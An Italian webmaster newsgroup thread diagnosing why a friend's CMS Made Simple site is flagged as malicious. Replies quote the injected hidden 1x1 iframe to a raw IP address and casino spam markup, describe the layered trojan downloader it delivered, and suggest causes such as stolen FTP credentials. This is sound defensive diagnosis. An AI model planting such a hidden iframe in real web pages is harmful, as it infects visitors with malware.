Newsgroup: it.lavoro.professioni.webmaster
Titolo: Che vuol dire: "Segnalato sito web malevolo"?

Un mio amico ha messo in piedi un cms con CMS Made Simple (su TH ma
non credo sia un loro problema perchè io ci tengo un blog e non ho mai
avuto problemi).
Se vi accediamo con Firefox (ho la versione 3) compare una pagina
rossa scura con la foto di "un poliziotto" stilizzato e la dicitura:
*********************************************************
Segnalato sito web malevolo
Il sito web 
www.xxxxxxxxxxxxx.eu
 è stato segnalato come sito web
malevolo ed è stato bloccato sulla base delle impostazioni di
sicurezza correnti.
Un sito web malevolo cerca di installare dei software in grado di
sottrarre le informazioni personali degli utenti, sfruttare il
computer per attaccare altre macchine o semplicemente danneggiare il
sistema.
Alcuni di questi siti distribuiscono intenzionalmente software
dannoso, ma gran parte dei siti viene compromessa senza che il
proprietario ne sia a conoscenza o ne sia responsabile.
*********************************************************
Mi sapete dire qualcosa di più al riguardo?
grazie mille

 Mi sapete dire qualcosa di piů al riguardo?
dovresti dare l'url del sito per capire che ha.
Se il tuo amico č in buona fede penso abbia semplicemente messo qualche
servizio di statistiche del piffero che si spacciano per gratuite ma poi
mandano in giro un po' di porcherie.
-- 
. Guido   _.-----.  \.-./       . .
\`-.._,-' .-. .-.`-' ``-.  _,-'.'`.
  `-.____,-. `:. `.-'-._.O-:_ .:'.,|
            `-" `-"          `-.__.'

mandano in giro un po' di porcherie.
O servizi di banner, click, ad, counter, e quant'altro.
Leonardo
-- 
IN NO EVENT SHALL MICROSOFT [] BE LIABLE FOR [] FAILURE TO MEET ANY DUTY
INCLUDING OF GOOD FAITH OR OF REASONABLE CARE, FOR NEGLIGENCE [] EVEN IN
THE EVENT OF [] BREACH OF CONTRACT OR BREACH OF WARRANTY OF MICROSOFT...
                              -- EULA di Windows Media VCM 9, articolo 8

> O servizi di banner, click, ad, counter, e quant'altro.
Non mi sembra ci siano banner particolari...
Il sito in questione è questo:
jjj.znffvzbynaqv.rh
(uso il Rot13, xchè ancora non gli interessa molto comparire)

Non mi sembra ci siano banner particolari...
Direi che ti sembra male. Nel body c'e' un IFRAME che SOSTIENE di fare l'
analisi del traffico sul sito - ma ha una sua interpretazione di cosa sia
una "ANALisi": cerca infatti di buttarmelo didietro installando qualcosa,
guardacaso dallo stesso dominio segnalato da Google.
<body><!-- Traffic Statistics --> <iframe
src=uggc://
61.155.8.157/iframe/wp-stats.php
 width=1 height=1
frameborder=0></iframe> <!-- End Traffic Statistics --><noscript>Sur les
pages de Jeu Casino, vous pouvez sentir la m?me ambiance dans les salles,
et vous pouvez ?prouver le m?me plaisir du jeu, comme dans un <a
href="uggc://jjj.nvzrepnfvab.pbz">online casino</a> classique.</noscript>
Di' a coso che levi subito quel cazzabubbolo e la vita gli sorridera'.


 Di' a coso che levi subito quel cazzabubbolo e la vita gli sorridera'.
Glielo faccio subito presente. Però mi aveva detto di aver scaricato
il cms e aver seguito il readme (o chi per esso) per l'installazione.
Insomma... da dove arriva questo "cazzabubbolo"? Come è potuto finire
lì?

lě?
Mah... ci sono varie possibilita':
a) Era gia' presente nel pacchetto del CMS. Magari no, ma magari si'.
b) Non era nel pacchetto, quindi c'e' entrato dopo:
	b1) Installazione di upgrade, "pacchetti consigliati" magari
	    dal provider, distrazione, ...
	b2) Virus. Il CMS e' vulnerabile e - visto che uno che manda
	    ActiveX stronzoli non e' tanto preoccupato per questioni
	    etiche - gli autori lo diffondono infettando siti web.
	    E adesso quella pagina e' riconosciuta dagli ANTIVIRUS:
		A new variant of Trojan.Downloader.Agent
	b3) Alcuni provider modificano il contenuto delle pagine sul
	    sito dei propri clienti, aggiungendo roba per pagarsi le
	    spese o altri motivi.
	    Quindi tu scrivi "<body>Hello, world</body>", pero' quel
	    che vedo IO e': "<body><!-- inizio cacca -->...<!-- fine
	    cacca -->Hello, world</body>".
C'e' poi l'opzione b3+b2: cioe' il provider in buona fede mette quel
banner, poi il bannerista in malafede lo sostituisce al volo con una
variante virale.
=========
Che quella roba sia maligna non c'e' dubbio. Tolto il primo "strato"
di crittatura (escape), ce ne sono altri due, alla fine dei quali se
il browser e' vulnerabile viene scaricato ed eseguito un file .EXE -
o ActiveX, non saprei bene, ma mi pare .EXE - compresso e ricriptato
con UPX, e riconosciuto come "Agent.NOZ Cavallo di Troia", dentro al
quale trovo un SECONDO file (sticazzi!), 44 Kb scompressi, dentro al
quale c'e' un TERZO file di 12 Kb con l'icona del granchietto blu di
non ricordo quale scheda sonora (ma ce l'avevo io, una volta) che si
ingegna di zombizzare una sandbox.
Non gli bastasse, si annida anche dentro un ADS di Explorer.exe, nel
caso quindi serve ADSCleaner (
www.futuretime.it
 e guardi in giro).
(Quindi chiunque sia andato sul sito, e non ha notato niente, se non
ha un buon antivirus e/o firewall, ha fatto la fine di Raniere. Puo'
essere il caso d'avvertirlo. Idem l'autore del sito, se a lui sembra
tutto normale vuol dire che ora ha un ospite inaspettato nel PC).
Poi chiama casa al 61.155.8.157 (che e' una macchina *probabilmente*
zombie che fa da front a una seconda macchina in Brasile[1], dove un
giovanotto ha messo insieme un paio di kit per creazione virus), via
HTTPS con un certificato non valido (localhost.localdomain, lol). Ho
idea che dall'altra parte o non risponde nessuno, o c'e' un logwatch
che controlla chi si collega.
(Per gli amici di ICSV... .EXE e quant'altro gia' segnalati a chi di
dovere. La macchina cinesina 61.155.spiccioli e' tuttora la', non so
se l'orbita dell'Enterprise passa la' sopra a breve, ma in caso...).
Leonardo in crosspost
[1] sto inventando


lì?
Facile: il tuo amico è *già* impestato da qualcosa che gli ha rubato la
password FTP del sito e l'ha spedita in Russia. Fagli formattare tutto e
*dopo* cambiare la password. Usare un antivirus è tempo perso, quasi
sicuramente non troverà niente.
Il tuo hoster potrà confermare gli accessi FTP fatti dall'estero.
Benvenuto in Internet.
-- 
ciao,
Marco